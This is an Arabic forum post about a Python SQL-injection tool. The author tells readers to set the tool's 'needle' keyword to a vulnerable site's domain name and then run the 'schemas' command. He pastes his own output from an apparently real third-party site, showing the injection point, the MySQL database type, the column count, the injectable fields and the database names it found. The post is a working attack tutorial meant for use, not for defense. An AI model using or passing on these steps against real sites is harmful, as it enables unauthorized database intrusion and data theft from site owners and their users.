عدد النقاط : 10
اقتباس المشاركة الأصلية كتبت بواسطة الشيطانو لم اسمع في حياتي بهده الاداة جاري التجربة وبارك الله فيك اهلاً اخوي شيطانو .. كما هو المعروف ان ادوات البايثون قليل من يقومون بشرحها.. فلن تجد اي شخص غيري شرح هذه الأداة بهذه الطريقة مع التطبيق ومع ذكر ربط الأوامر مع بعض لإظهار نتيجة جيده..مع ان الشركة لم تذكر هذه الاوامر بهذه الطريقة وهذا الربط..ومافيه منتدى سواءً عربي او اجنبي قام بوضع هذه الأوامر .. لكن لعيونكم كل شي (يصير) نسيت أن أضع لكم نقطة مهمّة في حال لم تخرجوا بنتيجة من الأوامر التي وضعتها لكم .. عندما تحدد الـ needle سواءً بـ هذه الطريقة : needle admin needle user needle schemas needle schema needle mysql ولم تخرج بنتيجة .. قم نسخ الدومين الخاص بالموقع المصاب .. نفرض مثلاً هذا هو الموقع http://abc123.com نقوم بكتابة needle abc123 ونعطي بعدها امر الـ schemas وان شاء الله تطلعون بنتيجة نفس ماطلع معي هنا: اقتباس #> needle prestonathletics #> schemas [i] Trying injection using 0 parenthesis. [+] Found separator: " " [+] Found DBMS: Mysql [+] Found comment delimiter: "#" [+] Query columns count: 8 [+] Injectable fields found: [1, 3, 4, 5, 7] [+] Found injectable field: 1 [+] Using string union technique. [+] Rows: 2 +--------------------+ | Databases | +--------------------+ | information_schema | | prestona_oaidb | +--------------------+
سنتين من الإنقطآع.. لا تعني التجرؤ علي .. Q2 from saudi arabia